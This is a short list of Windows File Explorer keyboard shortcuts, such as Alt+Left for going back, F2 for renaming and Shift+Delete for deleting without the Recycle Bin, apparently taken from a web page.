    Ctrl+Arrow Keys - Change focus without changing selection "Focus" is the object that will run on Enter Space toggles selection of the focused item

    BackSpace - Go up one level to the parent directory

    Alt+Left - Go back one folder

    Alt+Right - Go forward one folder

    Enter - Activate (Double-click) selected item(s)

    Alt+Enter - View properties for selected item

    F2 - Rename selected item(s)

    Ctrl+NumpadPlus - In a Details view, re sizes all columns to fit the longest item in each one

    Delete - Delete selected item(s)

    Shift+Delete - Delete selected item(s); bypass Recycle Bin

    Ctrl while dragging item(s) - Copy

    Ctrl+Shift while dragging item(s) - Create shortcut(s)
    Read more... ...